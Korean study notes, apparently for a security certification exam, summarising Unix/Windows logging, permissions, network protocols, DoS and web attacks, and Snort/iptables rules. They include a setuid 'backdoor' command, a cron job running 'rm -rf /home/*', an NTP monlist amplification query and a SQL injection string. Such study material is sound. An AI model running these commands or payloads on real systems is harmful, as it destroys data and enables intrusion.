[시스템 보안]

Windows Server OS 사용자 계정관리방식 : 워크그룹 방식과 도메인 방식
 - 도메인 방식 : 액티브 디렉토리 DB, 워크그룹 방식 : %SystemRoot%₩System32₩config₩SAM에 저장
이벤트뷰어, 보안로그
보안로그 : Login Success/Fail, Network Login
시스템 로그 : System Start/Halt, RDP Connection
응용프로그램 로그 : Add/Del Member in group, Application Error
윈도우 감사정책 - 시스템 이벤트 정책, 계정로그온이벤트 정책, 프로세스 추적 정책
참조모니터 : 접근통제모델에서 정보를 사용하는 주체가 객체에 접근하는 규칙을 통제하고 감시하는 것
인터럽트, 스택, 인터럽트 서비스 루틴, PC(Program Counter)레지시터, 인터럽트 서비스 루틴, 커널(OS핵심)
쉘 : 사용자와 커널이 대화하는 인터페이스 기능 제공
/etc/profile 설정 - TMOUT=600; export TMOUT # 일정시간(600초) 미사용시 자동 로그아웃
ls | sort | wc -l 2>> errorlog.txt # 2>> STDERR을 의미, 1>> STDOUT을 의미
문맥(Context), 문맥교환(Context Switching), 프로세스 제어블록(PCB)
프로세스 상태 : 준비상태, 실행, 대기, 교착상태, PCB
top : 전체 process의 운영상황을 실시간 모니터링, pstree : 프로세스를 트리구조로 확인
구역성(Locality) : 프로세스들은 기억장치 내의 정보를 균일하게 액세스하는 것이나 아니라 집중적으로 참조
 - 시간 구역성, 공간구역성
워킹셋(Working Set) : 실행 중인 프로세스가 일정시간 동안 참조하는 페이지들의 집합
저널링(Journaling) : Ext2 시스템에서 사용하는 fsck의 시간이 오래 걸리는 단점을 보완한 파일시스템 복구기술
 - 복구시간 단축을 위해 데이터를 디스크에 쓰기 전에 로그에 데이터를 남겨 시스템의 비정상 종료시에도 로그를 사용해 fsck보다 빠르고 안정적인 복구기능을 제공한다.
파일시스템 무결성 알고리즘 : MD5, SHA1
Tripwire : 무결성을 점검하는 도구, Nessus 는 미국 Tenable사가 개발하여 무료로 배포하는 취약점 점검도구
심볼릭 링크 : ln -s /bin/bash /bin/sh
포맷스트링 공격, 버퍼오버플로우 공격, 레이스 컨디션 공격
힙(Heap) : 메모리 영역 중 프로그래머가 필요시 할당하고 해제하여 동적으로 관리할 수 있는 영역
유닉스 패스워드 내용 : 로그인ID : 패스워드 : 사용자 ID : 그룹 ID : 설명 : 홈디렉토리 : 로그인쉘
root | x | 0 | 0 | SuperUser | /root | /usr/bin/bash
umask 값이 022로 설정되어 있을 때 파일 - 644, 디렉터리 - 755
find / -perm -4000 -print # setuid(4)
find / -perm -2000 -print # setgid(2)
find / -perm -1000 -print # sticky-bit(1)
PAM, /etc/inetd.conf, /etc/service (포트번호 관리 파일), tcp-wrapper, /etc/hosts.deny, /etc/hosts.allow
(변경전) telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd
(변경후) telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
utmp(x) : 시스템에 현재 로그인한 사용자들 상태 - w, who 명령
wtmp(x) : 사용자가 로그인 또는 로그아웃할 때 기록 - last 명령
acct/pacct : 사용자들에 의해 실행된 모든 명령 기록 - lastcomm
/var/adm/lastlog, /var/adm/sulog, /var/adm/loginlog(실패한 로그인 시도 기록)
lastlog -u user01
tail -f /var/log/secure : tail 명령을 이용해 secure 로그를 실시간 모니터링 한다.
리눅스
/var/log/lastlog : 각 사용자들이 가장 최근에 로그인한 기록을 담고 있는 파일, lastlog 명령어
/var/log/btmp : 실패한 로그인 시도(유닉스의 경우 /var/adm/loginlog)
/var/log/xferlog : FTP 로그, syslogd 데몬에 의한 /var/log/messages에 실시간 로그 관리 /etc/syslog.conf
syslog.conf 설정 : _*_._notice_ _/var/log/messages

[프로세스 교착상태 4가지 조건]

1) 상호배제 – 자원의 배타적인 제어권
2) 점유와 대기 – 최소한 하나의 자원을 점유하고 있는 프로세스가 존재해야 한다.
3) 비선점 – 프로세스들 자신만이 점유한 자원을 해제할 수 있다.
4) 환영대기 – 프로세스와 자원들이 원형을 이루며, 각 프로세스는 자신에게 할당된 자원을 가지면서 상대방 프로세스의 자원을 상호 요청하는 경우

pts/0 – 원격 터미널 접속을 의미
pts 는 가상 터미널로 외부에서 원격으로 접속한 터미널을 의미한다.

```
# chmod u+s ./backdoor
# ls -l backdoor
-rwsr-xr-x
```

파일시스템의 타임라인에서 제공하는 시간 속성

mtime : 파일의 내용이 마지막으로 수정된 시간
atime : 파일에 마지막으로 접근한 시간
ctime : 파일의 속성정보가 마지막으로 변경된 시간

touch 명령으로 크기가 0인 “hack.txt” 라는 파일을 생성하고 생성여부를 확인한다.

버퍼오버플로우 예방책

1) 스택가드 : 메모리상에서 프로그램의 복귀주소와 변수 사이에 특정 값을 저장해 두었다가 그 값이 변경되었을 경우 오버플로우로 가정하여 프로그램 실행을 중단하는 것
2) 스택쉴드 : 함수시작 시 리턴 주소를 Global RET라는 특수 스택에 저장해두었다가 함수 종료시 저장된 값과 스택의 RET값을 비교해 다를 경우 프로그램을 종료

pwconv 명령어를 이용하면 shadow 형태로 저장가능
find /etc/apache/conf -mtime -10
find / -type f -perm -4000
crontab -l : crontab에 예약된 작업 확인
crontab -u sis -e : sys라는 사용자의 crontable을 생성하기 위한 명령어
0 3 * * 0 /bin/rm -rf /home/* >/dev/null 2>&1 : 매주 일요일 오전 03:00, 출력안되게, 표준에러는 표준출력으로

TCPWrapper

hosts.deny	hosts.allow
ALL:ALL	ALL :192.168.10.1
ALL:ALL	in.telnetd : 192.168.20.1
ALL:ALL	in.ftpd : 192.168.1 # 192.168.1로 시작하는 IP주소에 대해 ftp서비스가 가능
sshd:ALL	sshd : 192.168.159.133, 10.10.10.0/255.255.255.0

gcc test.c -o a.out

lastlog -u algisa # algisa라는 ID를 가진 사용자의 최근 로그인 기록 추적
lastlog -t 5 # 현재로부터 5일 이내에 접근한 로그인 기록 추적
last reboot # wtmp 파일에 저장된 정보 중 시스템 재부팅 기록 추적
lastb # btmp 파일에 저장된 로그인 실패 기록 추적

[네트워크 보안]

OSI 7계층 中 데이터링크 계층 : MAC(6바이트, 48비트, 상위 - 벤더코드, 하위 - 벤더 내 할당 코드
회선제어 : 복수의 통신 회선 사이에서 데이터의 상호 전송을 제어
흐름제어 : 통신 당사자 간의 데이터 흐름을 규제
오류제어 : 전송 도중 발생한 부호 오류를 검출, 순방향오류정정, 자동 재전송 요구(ARQ)
CSMA/CD, backoff time, Collision Domain, Broadcast Domain(ff-ff-ff-ff-ff-ff), 스위치 환경에서의 포트 미러링
네트워크 계층 : 경로선택 및 라우팅 기능, 라우터, 비트 - 프레임 - 패킷 - 세그먼트 - 메시지
VLAN : 포트기반, MAC 기반, 네트워크 기반, 프로토콜 기반 구성
태깅(Tagging) : 어떤 VLAN에 소속되는지 다른 스위치에게 알리는 기능
ARP(IP->MAC), ARP Spoofing(MAC 주소 속이는 공격), 스치위환경에서의 스니핑 공격(스위치 재밍)
NAT, 12개의 서브넷 ID를 원할 경우 255.255.255.240
IPv4에서 무한루핑 방지 - TTL(Time To Live), ICMP 프로토콜,
ICMP, Ping, Tracert, Echo Request, Echo Reply, Tiem Exceeded/Time-To-Live Exceeded in Transit
3-way Handshaking을 사용시 연결을 끊기 위한 신호 : FIN, RST
소켓 : 특정IP주소와 포트번호의 조합, Well-Know 포트 : 0 ~ 1023
TCP, UDP,
netbios : tcp/udp 135~139 / WAP(Wireless Application Protocal), WTLS(Wireless Transport Layer)
WEP 무선 데이터 암호화 방식 : 40비트 WEB 공유비밀키 + 24비트 IV(Initialization Vector) = RC4 스트림 암호화 방식
워드라이빙, Ping, netstat(세션연결확인), netstat -ant, tracert, TTL, ICMP, 2
NAT, VPN, PPTP(MS사), L2TP(시스코사), 터널링,
IPSec = AH + ESP
AH(Authentication Header) : 메시지 인증코드를 이용하여 메시지 무결성과 송신처 인증 제공, 암호화 X
ESP : 메시지 인증코드를 이용, 메시지 무결성과 송신처 인증을 제공, 대칭 암호화를 통한 기밀성 제공

IPSec 동작 모드

1) 전송모드 : IP 패킷 전체를 보호하는 것이 아니라 IP헤더를 제외한 IP패킷의 페이로드만 보호, 호스트 대 호스트
2) 터널모드 : IP패킷 전체를 보호하는 모드, IP패킷에 IPSec헤더를 추가하여 원본IP헤더까지 보호, 보안터널 게이트웨이 구간의 패킷 보안

IPSec 보안 서비스

- 데이터 원천 인증/송신처 인증
- 무결성
- 기밀성
- 접근 제어
- 재전송 공격 방지
- 제한적 트래픽 흐름의 기밀성

IPSec 헤더에서 재전송 공격을 방어하기 위한 일련번호(SN)필드
SSL/TLS : 넷스케이프사가 처음 만듦, SSL/TLS 취약성 공격 : BEAST, CRIME Attack
SSL : 1994년 Netscape 사에 의해 만들어진 프로토콜로 Application계층과 전송계층 사이에 위치(기밀성, 무결성, 인증 제공)

- Handshake 프로토콜 : 양 종단 간에 보안 파라미터를 협상하기 위한 프로토콜
- Change Cipher Spec 프로토콜 : 협상된 보안 파라미터를 사용 가능하도록 적용/변경하기 위한 프로토콜
- alert 프로토콜 : 통신 과정에서 발생하는 오류를 통보하기 위한 프로토콜
- record 프로토콜 : 적용된 보안 파라미터를 이용, 실제 암호화/복호화, 무결성 검증 등을 수행

IPSec, SSL, VPN, SSH(암호통신 터미널 프로그램), DMZ, Proxy 서버,
Ingress 필터링, Egress 필터링, 블랙홀 필터링(or Null 라우팅)
access-list 100 deny udp any any eq 53
라우팅 테이블 교환을 위해 BGP는 TCP 179번 포트를 사용한다.
소규모 네트워크(Distance Vector)와 대규모 네트워크(Link State), 혼합형(EIGRP) 프로토콜이 있다.
허니팟(HoneyPot)
TCP 포트가 닫힌 경우에만 패킷이 되돌아 오는 원리를 이용한 스캔방법 : TCP FIN / NULL / XMAS 스캔

- 포트가 열린 경우에는 아무런 응답이 없고, 닫힌 경우에만 서버로부터 RST 응답패킷이 오는 스캔 : FIN/NULL/Xmas
- 스텔스 스캔(Stealth Scan)은 공격 대상 시스템에 접속 로그를 남기지 않는다. - SYN SCAN, FIN, NULL, XMAS
- SYN스캔은 Full TCP 접속을 하지 않으므로 half-open 스캐닝이라 한다. 하나의 SYN 패킷을 보내어 SYN/ACK 응답이 오면 그 포트는 리슨하고 있는 상태이고, RST 응답이 오면 리슨하지 않는 것을 나타낸다.

- TCP Open 스캔 공격시
  - 공격자 → 목표시스템 (SYN)
  - 목표시스템 → 공격자 (RST+ACK)
- TCP Half-Open 스캔 공격시
  - 공격자 → 목표시스템 (SYN)
  - 목표시스템 → 공격자 (SYN+ACK)
  - 공격자 → 목표시스템 (RST)

- FIN비트가 포함된 패킷을 허용하는 시스템이 많아 이를 이용하여 스캔할 수 있다.

- IP 스푸핑

트러스트 관계가 맺어져 있는 서버와 클라이언트를 확인한 후 클라이언트에 DoS 공격을 하여 연결을 끊는다. 그러고나서 공격자가 클라이언트의 IP주소를 확보하여 서버에 실제 클라이언트처럼 패스워드 없이 접근하는 공격이다. 트러스트 관계를 쓰지 않는 것이 최상의 대책이다. 트러스트 관계는 신뢰관계에 있는 시스템간에 별도의 로그인 없이 IP기반의 인증을 수행하고 접속하는 방식을 말한다.

- TCP 세션 하이재킹 공격

TCP의 세션 관리 취약점을 이용한 공격, TCP의 세션 식별정보를 공격자가 위조하여 세션을 탈취하는 방식으로 공격자는 정상적인 사용자의 출발지 IP와 Port로 위조하고 SN을 예측하여 탈취하게 된다. TCP 신뢰성 기반으로 한 연결을 이용한 공격방법으로 통신내용을 엿볼 수도 있고, 세션을 가로채어 정상적인 인증과정을 무시하고 불법으로 시스템에 접근할 수 있다.

풋프린팅 / Land Attack(출발지IP=도착지IP) / Teardrop

Teardrop : 헤더가 조작되어 일련의 IP패킷조각들을 전송함으로써 공격이 이루어진다. 공격자가 패킷을 프레그먼트할 때 정상적으로 하지 않고 데이터 일부가 겹치게 일부 데이터를 포함하지 않고 다음 패킷으로 프레그먼트하여 전송하면 수신자는 패킷 재조합을 수행할 때 부하가 발생하게 된다.

Ping of Death : 아주크게 만들어진 ICMP 패킷을 전송함으로써 공격 네트워크에 도달하는 동안 아주 작은 조각이 되어 공격대상시스템이 조각화된 패킷을 모두 처리해야 함으로써 성능을 떨어뜨리는 공격

- 스머프 공격

  공격자가 소스 IP를 희생자 IP로 위조하여 ICMP Echo Request 패킷을 Broadcast 영역으로 패킷을 보내어 위조된 희생자 IP로 ICMP Echo Reply 패킷을 보내어 응답하게 되고, 지속적으로 이러한 현상을 만들어 특정 네트워크 자원을 소모시키는 DoS계열 공격

  여러 호스트가 특정 공격 대상에게 다량의 ICMP Echo Reply를 보내게 하여 서비스 거부를 유발하는 공격이다. 이러한 공격에 대응하기 위해서는 다음과 같은 방법이 있다.
  - 중간 매개지로 쓰이는 것을 막기 위해서 다른 네트워크로부터 자신의 네트워크로 들어오는 Directed Broadcast 패킷을 막도록 라우터를 설정한다.
  - 호스트는 IP Broadcast Address로 전송된 ICMP Echo Request 패킷에 대해 응답하지 않도록 시스템을 설정할 수 있다.

분산서비스거부공격(DDoS) : Trinoo, TFN, Stacheldracht, Shaft, Trinity

싱크홀 / HTTP GET Flooding 공격(GET /index.php HTTP/1.1 상태 패킷)

HTTP Syn Flooding 공격(SYN_RECV 상태 패킷)

- 다량의 위조된 half-open TCP 연결을 시도하여 상대 호스트의 백로그 큐를 가득 채우는 기법으로, TCP 3way handshaking 연결 방식의 구조적 문제점을 이용한 공격
- 정상적인 TCP 연결이라면 클라이언트로부터 SYN+ACK에 대한 ACK 응답을 받아 연결설정이 완료되지만 TCP SYN Flooding 공격의 경우 공격자가 출발지 IP를 위조하여 다수의 요청을 발생시키고 위조된 출발지 주소이기 때문에 SYN+ACK 에 대한 정상 ACK 응답이 대부분 발생하지 않는다.
- TCP 연결 설정 과정의 구조적 취약점을 이용한 공격으로 3way handshake 과정에서 Half-Open 연결 시도가 가능하다는 점을 이용하여 Half-Open 상태의 연결을 과도하게 발생시켜 목표 시스템이 외부로부터 연결 요청을 더 이상 수용할 수 없게 되어 서비스 불가 상태가 발생한다.

NTP 증폭 DDoS 공격 : $ ntpdc -n -c monlist 192.168.1.2

역추적 기술

VLAN 기술(2계층 브로드캐스트 도메인을 논리적으로 나눔) - 포트기반/맥기반/네트워크기반/프로토콜기반

ARP 스푸핑 - 맥주소 정보를 전송해주는 호스트(단말) 간 ARP Request/Reply 패킷 스푸핑

ICMP Redirect(Spoofing) - 라우팅 테이블 정보를 전송해주는 라우터간의 ICMP 패킷 스푸핑

CIDR(Classless InterDomain Routing) : 기존 클래스기반의 주소에서 클래스를 제외하고 IPv4 전체 bit에 대해서 네트워크ID와 호스트ID를 재설정하는 주소표현 방식(예 10.217.123.7/20) -> 서브넷 마스크에 연속된 1 : 20개임

netstat 7가지 옵션

-a : 모든 소켓 정보 출력
-p : 지정한 프로토콜 연결 표시
-n : 네트워크 주소를 숫자로 표시
-e : 이더넷의 통계 표시
-r : 라우팅 정보 출력
-i : 네트워크 인터페이스에 대한 정보 출력
-s : 각 네트워크 프로토콜(IP, TCP, UDP, ICMP)에 대한 통계정보 출력

VPN 2계층 터널링 프로토콜 : PPTP, L2TP, L2F

VPN 3계층 터널링 프로토콜 : IPSec(TransPort Mode, Tunnel Mode) - 메시지 인증코드(MAC)

- 전송모드 : 송수신을 수행하는 양 종단(End Node)간에 연결, 전송계층의 데이터(IP Payload)를 보호)
- 터널모드 : IPSec을 지원하는 보안/터널 게이트웨이(라우터, VPN장비 등) 간에 연결
  IP패킷 전체(IP헤더+IP Payload)를 보호

MITM(중간자 공격), 암호화된 통신(HTTPS, SSH 등)

IPSec 보안기능 : 기밀성, 비연결형 무결성, 데이터원천 인증/송신처 인증, 재전송공격방지, 접근제어, 제한적 트래픽 흐름 기밀성

router의 no ip unreachables 설정

- 개념 : 송신할 수 없는 패킷이 나타나면 라우터는 최초출발지로 ICMP Unreachable 메시지를 보내게 된다.
- 보안 관점 : DoS 공격으로 이용당할 수 있으며, 포트 오픈 여부를 판단 가능함.

router의 no ip source-route

- 개념 : 패킷이 목적지에 도달하기 위한 경로는 라우터들에 의해 결정이 된다. 패킷 자체는 목적지 주소만 가지고 있을 뿐 목적지에 도달하기 위한 경로에 대한 어떠한 정보도 가지고 있지 않은데 송신자 쪽에서 IP 옵션 헤더를 이용하여 경로 리스트를 직접 정의하면 지정된 경로로 라우팅이 되도록 할 수 있다. (IP 소스 라우팅)

라우터 : User Mode -> enable -> Privileged Mode -> conf t -> Global Mode

스머프 공격

- ICMP 증폭 공격으로 ICMP Echo Request 메시지의 송신자 주소를 희생자의 주소로 스푸핑한 후 이를 증폭 네트워크에 directed broadcast하여 다수의 ICMP Echo Reply(ping 응답)을 발생시켜 희생자에게 대량의 트래픽을 발생시키는 DoS 공격
- 출발지 IP를 희생자 IP로 위조한 후 증폭 네트워크 ICMP Echo Request를 브로트캐스트 함으로써 다수의 ICMP Echo Reply가 희생자에게 전달되어 서비스 거부를 유발시키는 공격

► 대응법 : 1) 증폭 네트워크로 사용되는 것을 막기 위해 다른 네트워크로부터 자신의 네트워크로 들어오는 Directed Broadcast 패킷을 허용하지 않도록 라우터 설정을 한다.

2) 브로드캐스트 주소로 전송된 ICMP Echo Request 메시지에 대해 응답하지 않도록 시스템 설정을 한다.

UDP Flooding 공격

UDP 프로토콜의 비연결적 특성을 이용한 DoS 공격으로 대량의 UDP 패킷을 희생자에게 전송하여 희생자의 네트워크 대역폭을 소진시키는 DoS 공격

트리누(Trinoo) 공격

DDoS 공격툴로 Attacker, Master, Agent로 공격 네트워크를 구성하여 UDP Flooding 공격을 수행한다. Attacker는 Master에 접속하여 공격명령을 내리고 Master는 Agent에게 공격타겟에 대한 명령을 내리면 Agent는 해당 희생자에게 DDoS공격을 수행한다.

DoS와 DDoS 공격에 대한 대응책

1) 라우터의 Ingress/Egress 필터링 기능을 활성화한다.
2) Rate-Limit 기능을 이용한다.
3) uRPF(unicast Reverse Path Forwarding) 기능을 이용한다.
4) direct broadcast와 redirect를 막는다.(ICMP Broadcast와 ICMP Redirection 비활성화)
5) Anti DoS/DDoS 장비를 도입한다.

DRDoS

- 공격원리 : 공격자는 출발지 IP를 공격대상의 IP로 위조하여 다수의 반사서버로 요청정보를 전송, 공격대상은 반사서버로부터 다수의 응답을 받아서 서비스거부상태(DoS)가 되는 공격형태이다.
- 공격방식
  - TCP 연결설정과정의 취약점을 이용하여 위조된 주소의 syn요청을 반사서버로 전달하여 syn+ack응답이 공격대상에 보냄
  - ICMP 프로토콜을 이용할 경우, 위조된 주소의 echo request 패킷을 반사서버로 전달, echo reply 패킷을 공격대상에 보냄
  - UDP 프로토콜을 이용할 경우, DNS, NTP, SNMP, CHARGEN 등의 서비스를 이용하여 위조된 주소의 서비스 요청을 반사서버로 보내고 그 응답이 공격대상으로 향하도록 한다.
- DDoS와의 차이점 : DDoS에 비해 공격근원지 파악에 어려움이 있다. 역추적이 거의 불가능, 공격 트래픽 효율이 증가

DNS증폭공격

- IP 스푸핑 공격기법, 출발지 IP를 희생자의 IP로 위조한 후 다수의 DNS 쿼리를 발생시킨다.
- 출발지 IP를 희생자의 IP로 위조하여 다수의 DNS 쿼리에 대한 응답이 희생자 쪽으로 향하도록 함
- any type 또는 txt type이 사용된다.
- 질의 요청 대비 응답이 매우 크기 때문에 증폭 반사공격을 효과적으로 할 수 있다.

SYN Flooding 공격

TCP의 3-way handshake 약점을 이용하는 공격으로 소스 IP를 존재하지 않는 IP주소로 위조하여 대량의 SYN Packet을 발송하여 해당 시스템의 백로그 큐를 가득 채워 서비스 거부를 하도록 하는 공격

[동작방식]

백 로그 큐는 TCP 클라이언트의 연결요청을 담아두기 위한 큐를 의미한다. 큐는 제한된 자원으로 클라이언트의 연결요청이 완료될 때까지 요청정보를 담아두게 되는데, SYN Flooding 공격은 대량의 연결요청을 완료하지 않은 상태(half-open)로 두기 때문에 큐가 Full이 나서 정상적인 요청을 더 이상 받아들일 수 없는 상태가 된다.

[예상결과]

- 공격당한 서버쪽에서 netstat -an 명령어를 쳐보면 State에 SYN_RECV 중 존재하지 않는 IP들이 수많이 보인다.
  (3way handshaking의 취약점을 이용, syn 패킷만 발송하고 마지막 ack 패킷을 발송하지 않아 연결이 완료되지 않음)
- 공격을 당한 서버는 리소스 부족으로 더 이상 정상적인 서비스 요청을 받아들일 수 없는 상태가 된다.

[대비책]

- TCP 연결타임아웃을 짧게 하여 연결요청 대기시간을 줄인다.
- 백로그 큐를 늘려준다. ex) sysctl -w net.ipv4.tcp_max_syn_backlog=1024
- Syncookies 기능을 활성화한다. ex) sysctl -w net.ipv4.tcp_syncookies=1
- anti-ddos장비, firewall 등 보안장비를 통해 침입 탐지 및 차단을 수행한다.

HTTP GET Flooding with Cache-Control(CC Attack) 공격

- 웹서버의 부하를 감소시키기 위해 캐싱 서버를 운영하여 많이 요청받는 데이터는 웹서버가 아닌 캐싱 서버를 통해 응답하도록 구축하는 경우 공격자는 HTTP 캐시옵션(Cache-Control)을 조작하여 캐싱서버가 아닌 웹서버가 직접 처리하도록 유도하여 웹서버의 자원을 소진시키는 서비스 거부 공격
- 트래픽을 살펴보면 HTTP헤더의 Cache-Control 값이 no-store, must-revalidate로 설정되어 있다.
- **Referer** : 링크를 통해 페이지에 접근할 경우 해당 링크를 가지고 있는 페이지의 url을 의미한다. A라는 페이지에서 링크를 클릭해서 B라는 페이지에 접근하게 되면 A라는 페이지가 Referer가 된다.
- **no-store(캐시저장금지)** : 클라이언트로부터 요청받은 데이터를 디스크나 메모리, 별도의 시스템(캐싱서버)에 저장 금지
- **must-revalidate(캐시검증)** : 웹서버와 별도로 캐싱서버를 운영하는 경우 웹서버는 캐싱서버에 저장된 캐시 데이터에 대한 검증 요구
- Cache-Control : no-cache :

  웹서버 요청시 Cache-Control 헤더에 no-cache 지시자를 지정하면 캐시서버의 캐시된 entry가 fresh한 상태라 하더라도 원본서버로부터 무조건 다시 읽어서 응답하라는 의미이다. max-age=0의 경우는 동일한 유무에 대해서만 매번 체크하지만 no-cache의 경우에는 무조건 원본서버에서 읽어 응답한다는 차이점 있다.

Slow HTTP POST DoS(RUDY) 공격

- HTTP POST 메소드를 이용하여 서버로 전달할 대량의 데이터를 장시간에 걸쳐 분할 전송, 서버는 POST 데이터를 모두 수신하지 않았다고 판단하여 연결을 장시간 유지함으로써 가용량을 소비하게 되어 다른 클라이언트의 정상적인 서비스를 방해하는 서비스 거부 공격
- Content-Length: 1000000 byte로 설정하여 1byte씩 전송

Slow HTTP Header DoS(Slowloris) 공격 = 개행문자(CRLF, 0d0a)

- 서버로 전달할 HTTP Header 정보를 비정상적으로 조작하여 웹서버가 헤더 정보를 완전히 수신할 때까지 연결을 유지하도록 하여 가용성을 소비시킴으로 다른 클라이언트의 정상적인 서비스를 방해하는 서비스 거부 공격
- 정상적인 트래픽 0d0a 0d0a (2번) ₩r₩n₩r₩n으로 종료 vs. 비정상적인 트래픽 0d0a (1번) ₩r₩n으로 종료

Slow HTTP Read DoS 공격 - Window Size = 0, W=0, Wnd = 0

- TCP윈도우 크기와 데이터 처리율을 감소시킨 상태에서 다수의 HTTP 패킷을 송신하여 웹서버가 정상적으로 응답하지 못하도록 하는 서비스 거부 공격. TCP 윈도우는 TCP 헤더의 구성요소로써 수신자 측의 수신 가능한 데이터 버퍼용량을 의미하고, 데이터 처리율은 클라이언트가 수신한 데이터를 읽어 들이는 단위시간당 처리능력을 말한다.
- 정상 트래픽은 Window 크기가 가변적임에 반해 비정상트래픽을 보면 윈도우 크기가 0임을 알 수 있다. 매우 작은 윈도우 크기로 서버에 응답을 보내면 서버는 더 이상 데이터를 전송하지 못하고 연결을 유지한 상태로 대기상태에 빠지게 된다.

[어플리케이션 보안]

CVE-해당년도-취약점 번호, 제로데이 공격, POP(110/tcp), IMAP(143/tcp), 전자우편보안도구(PGP)
CVE : 동일한 취약성에 대하여 명칭을 표준화한 목록
DNS 서비스 - 53번 포트를 사용, UDP/TCP 프로토콜을 사용, 캐시를 사용, TTL(유효기간)
Windows DNS 서버설정시 관리하는 도메인을 DNS 서버에 등록하는 존설정과 DNS 서버에 서비스 정보를 입력하는 리소스 레코드 설정이 있다.
DNS Cache Poisoning 공격

- 취약한 DNS 서버에 조작된 쿼리를 전송하여 DNS서버가 저장하고 있는 주소정보를 임시적으로 변조하는 공격
- DNS 서버의 캐시정보를 공격자가 위조하여 사용자가 DNS질의시 캐시의 위조된 정보를 받음으로써 공격자가 만들어 놓은 위조사이트로 접속하도록 만드는 공격기법

/etc/inetd.conf - 인터넷 슈퍼데몬
/etc/named.conf - DNS 설정파일
/etc/resolv.conf - DNS 네임서버 등록 파일

웹브라우저의 URL에 대한 DNS 질의는 다음과 같은 순서로 이루어진다.
❶ 로컬시스템에 저장된 DNS 캐시 정보 ❷ hosts.ics 파일 ❸ hosts 파일 ❹ DNS 서버 질의

nslookup, Recursive DNS 서버, FTP Bounce 공격, SNMP - community string, private, SNMP ver3
DNS 레코드 타입

- SOA(Start of Authority) : 관리 도메인 전체 영역에 영향을 미치는 파라미터를 정의한다.
- A(Address) : 해당 호스트명의 IP주소를 지정한다.
- NS(Name Server) : 네임서버를 지정한다.
- MX(Mail Exchange) : 메일 서버를 지정한다.
- CNAME(Canonical Name) : 호스트의 alias를 정의한다.
- PTR(Pointer) : IP주소에 대한 호스트명을 지정

SNMPv3의 SecurityParameter 필드
msgAuthoritativeEngineID, msgAuthoritativeEngineBoots, msgAuthoritativeEngineTime : 재전송 공격방지
msgUserName, msgAuthenticationParameters : 위장공격, 메시지 위·변조 공격 방지
msgPrivacyParameters : 도청/스니핑 공격 방지

SNMP : get-request, get-response, get-next-request, set-request(161/dup), trap 메시지(162/udp)로 구성, MIB
SSL(443/tcp) : 넷스케이프에서 개발한 프로토콜
TLS : SSL v3기반으로 표준화한 프로토콜

HTTP Mothod 확인방법

OPTIONS * HTTP/1.0
HTTP/1.1 200 OK

아파치 : ServerType standalone, MaxClients 512, hostnameLookups Off
200(OK), 403(Forbidden), 404(Not Found), 500(Internal Server Error)

ServerTokens 지시자
Prod[uctOnly] - 웹서버 종류만 보임
Min[imal] - Prod키워드 정보 + 웹서버 버전

IIS :액세스 로그, 에이전트 로그, 에러 로그

XSS(Cross Site Script)

악성스크립트가 삽입된 게시글의 클릭을 유도하여 클릭시 해당 악성코드가 다운로드 되어 사용자의 브라우저를 통해 실행된다. 실행된 스크립트에 의해 사용자 정보가 공격자에 노출되거나 다양한 형태의 공격이 이루어진다.

CSRF(Cross Site Request Forgery)

조작된 요청정보가 삽입된 게시글을 클릭하게 되면 사용자의 권한으로 의도하지 않은 조작된 요청을 웹서버에 전송하도록 하여 게시판 설정 변경, 회원 정보 변경, 패스워드 변경 등의 행위가 발생한다.

blind sql injection

조건절의 참/거짓 결과에 따른 응답의 차이점을 이용한 공격기법으로 참/거짓 결과에 따른 웹서버의 응답을 통해 원하는 DB데이터를 추출하는 원리이다.

디렉터리 인덱싱/리스팅 취약점 : Options 지시자의 indexes 설정을 제거, IIS 설정 “디렉터리 검색” 체크 해제

SQL Injection : 조건절을 참이 되게 하는 방법 ‘ or ’1’=’1 또는 ‘ or ’a’=’a 등

약한 문자열 강도 취약점 : 안전한 패스워드 규칙 미적용(영문, 숫자, 특수문자 조합 설정)

ngrep 조작법 : # ngrep -tqw byLine | grep “id=”

[침해사고 분석 및 대응 - 문제편]

snort 룰 형식(침입탐지시스템의 대명사)

alert tcp $EXTERNAL_NET any -> $HOME_NET any(msg:"TEST";content:|FFFF|;offset:9;depth:2;sid:1000001)

- content : 페이로드에서 검사할 문자열을 지정(패턴매칭 : text or binary)
- offset : 페이로드에서 content 패턴을 검사할 시작위치
- depth : offset부터 몇 바이트까지 검사할 것인지 지정
- msg : 메시지 로깅시 이벤트명을 지정하는 옵션

"/administrator"란 문자열이 포함된 경우 "Web Scan Detected"란 메시지로 로깅을 하기 위한 snort rule

alert tcp any any -> 192.168.159.131 80 (content : "/administrator"; msg :"Web Scan Detected";)

alert tcp any any -> any any(msg:"Get Flooding";content:"GET / HTTP1.";nocase;depth:13;
threshold:type threshold, track by_dst, count 10, second 1; sid:1000999)

❶ 해당 룰 이벤트 명 : Get Flooding
❷ nocase : content 내용을 패킷 페이로드와 패턴 매칭 여부 체크시 대소문자를 구별하지 않음
❸ content:"GET / HTTP1." : 패킷 페이로드에 "GET / HTTP1." 문자열을 포함하는지 여부 검색
❹ 목적지 IP(by_dst)를 기준으로 매 1초동안 10번째 이벤트마다(count) alert action을 수행한다.

iptables -A INPUT -s 192.168.100.100 -j DROP
iptables -A OUTPUT -d 192.168.100.101 -j DROP

침입탐지시스템
미탐(False Negative) : 공격을 탐지하지 못하는 경우, 시그니처(signature) 기반 탐지 시스템의 경우 미등록건
오탐(False Positive) : 공격이 아닌 것을 공격으로 탐지하는 경우, 행위기반 탐지시스템의 경우 임계치 설정 미흡

네트워크 기반 IDS : Snort(마틴 로시에 의해 처음 개발, Sniffer and More, 시그니처정보(룰))
- ► 네트워크 패킷 수집을 통해서 네트워크 상에서 일어나는 활동들을 감시하고 침입시도를 탐지
- ► NIDS는 패킷 수집을 위해 미러링 기법(TAP장비를 통한 패킷 복사)을 이용한다.

호스트 기반 IDS : Tripwire(무결성 점검에 의한 실제 침입여부 식별)
- ► 호스트의 자원 사용실태, 로그 등을 분석하여 호스트에 대한 침입 여부를 식별
- ► 무결성 체크기능, 최초 설치시 DB에 시스템의 중요파일에 대한 해시값 저장, 해시값 변경 발생시 감지

IDS는 탐지 후 관리자에게 사실을 보고할 뿐 직접 차단을 수행하지 않지만
IPS의 경우 능동적인 차단을 수행한다.

IDS는 패킷 수집을 위해 모니터링/미러링 방식을 사용
IPS는 게이트웨이/인라인 방식을 사용, 모든 패킷이 IPS를 거쳐서 지나가는 방식

침입탐지시스템, 호스트기반IDS, 네트워크기반IDS, 미탐, 오탐,
